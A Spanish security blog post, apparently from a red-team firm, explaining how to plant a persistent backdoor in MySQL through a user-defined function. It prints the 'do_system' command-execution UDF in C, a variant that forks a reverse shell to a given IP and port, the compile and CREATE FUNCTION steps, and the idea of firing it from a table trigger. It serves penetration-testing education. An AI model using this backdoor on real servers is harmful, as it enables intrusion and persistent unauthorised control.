cabecera blog BlackArrow

Backdoors en el stack XAMP (parte II): UDF en MySQL

En el pasado Hack&Beers de Vigo estuvimos dando una charla sobre backdoors en el stack XAMP, donde se explicaron los mismos métodos que pretendemos resumir en esta serie de post. Hoy hablaremos de una técnica antigua para introducir backdoors en la base de datos, utilizando para ello las UDF de MySQL.

Introducción

Las UDF de MySQL (User-Defined Functions) son funciones extras que el usuario puede añadir a MySQL para extender las capacidades que trae por defecto. A través de la programación de librerías (.so y .dll según el sistema operativo que estemos utilizando como base) el usuario puede añadir nuevas funciones al repertorio que trae por defecto MySQL. Al igual que vimos en la entrega anterior de esta serie, con las extensiones PHP, este tipo de características pueden ser abusadas por el Red Team para añadir una librería con un backdoor que nos permita en el futuro retomar el control de la máquina comprometida.

En la actualidad las librerías que contienen el código de las UDF deben de colocarse en la localización definida por la variable “plugin_dir”.

Construyendo nuestra UDF de MySQL

Para construir nuestro pequeño backdoor necesitaremos crear una librería que contenga al menos 2 funciones:

  • La propia función que se ejecutará desde MySQL. En nuestro caso corresponderá al código que forkeará y ejecutará nuestra reverse shell a la IP y puerto que le sean indicados como argumentos de la función
  • Una función init
  • Opcionalmente una función deinit.

En un contexto normal, las funciones init y deinit serían las encargadas de preparar cualquier configuración o entorno previo (y posterior) necesario para la correcta ejecución de nuestra función (por ejemplo creando estructuras, allocateando memoria, liberando recursos, realizando comprobación de los argumentos, etc.).

Probablemente dentro de la seguridad ofensiva la UDF más conocida sea la denominada “Raptor” / “Raptor2” / “Do_System”. Se trata de una UDF bastante simple que permite la ejecución desde MySQL de comandos del sistema, por lo que su uso en test de intrusión ha estado muy extendido -especialmente cuando el MySQL se encuentra mal configurado y permite su abuso para elevar privilegios- así como por algunos administradores de sistemas que requieren de esta peligrosa funcionalidad (do_system sería un equivalente al xp_cmdshell de Microsoft SQL Server). En cualquier caso, por su sencillez, se convierte en un buen ejemplo para entender cómo programar una UDF.

#include 
#include 
 
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
 
typedef struct st_udf_args {
    unsigned int        arg_count;  // number of arguments
    enum Item_result    *arg_type;  // pointer to item_result
    char            **args;     // pointer to arguments
    unsigned long       *lengths;   // length of string args
    char            *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;
 
typedef struct st_udf_init {
    char            maybe_null; // 1 if func can return NULL
    unsigned int        decimals;   // for real functions
    unsigned long       max_length; // for string functions
    char            *ptr;       // free ptr for func data
    char            const_item; // 0 if result is constant
} UDF_INIT;
 
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 1)
        return(0);
 
    system(args->args[0]);
 
    return(0);
}
 
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}

En este caso la función init carece de utilidad, pues toda la funcionalidad recae sobre la propia do_system. Por lo que podemos observar, se crean dos estructuras básicas (UDF_ARGS y UDF_INIT) y después tenemos la función “principal” y la “init”. En la función principal se comprueba que el número de argumentos sea el correcto y, de cumplir esta condición, se procede a ejecutar un system() sobre éste. Simple y efectivo.

Para construir nuestro backdoor deberemos de modificar la función “principal” y añadirle una llamada a una función que forkee y ejecute nuestra reverse shell:

//(...)
int do_mandanga(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 2)
        return(0);
 
    daemonize(); //Función que hace el fork
    reverse_shell(args->args[0], atoi(args->args[1])) //Nuestra reverse shell
    return(0);
}
//(...)

Para compilar utilizamos gcc:

gcc -shared -o backdoor.so backdoor.c

Movemos el .so a la carpeta indicada por la variable plugin_dir y por último deberemos “crear” la función dentro de MySQL, indicándole de qué librería:

create function do_mandanga returns integer soname 'backdoor.so';

En este momento, si hicieramos desde la consola de MySQL do_mandanga(“IP Nuestra”, 443), MySQL se forkearía y se conectaría a un puerto a la escucha de “IP Nuestra” permitiéndonos volver a ejecutar comandos en la máquina. El problema es ese: necesitamos tener acceso a la consola para poder llamar a esa función. ¿O quizás no?

Triggers + UDFs en MySQL == WIN

Hace ya tiempo hicimos un post sobre cómo los triggers en MySQL nos permitían persistir en un servidor -concretamente el ejemplo mostrado era la inyección de código malicioso JavaScript para que el administrador modificase un plugin y añadiera una pequeña webshell. Podemos reutilizar el mismo concepto para “disparar” nuestra reverse shell cuando se cumpla alguna condición, por ejemplo si existe una tabla que registra comentarios, user-agents, login fallidos, etc. podemos colocar ahí el trigger que ejecute la llamada a nuestra función-backdoor cuando una determinada condición se cumpla.

Conclusión

En este breve post hemos visto cómo crear una UDF en MySQL maliciosa para ser utilizada como backdoor durante un test de intrusión. Como siempre, recomendamos la realización de auditorías y pentests a los activos web de su empresa, así como el bastionado de los mismos.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.

Más artículos de la serie Backdoors XAMP

Este artículo forma parte de una serie de articulos sobre Backdoors XAMP

  1. Backdoors en el stack XAMP (parte I): extensiones PHP
  2. Backdoors en el stack XAMP (parte II): UDF en MySQL
  3. Backdoors en el stack XAMP (parte III): modulos Apache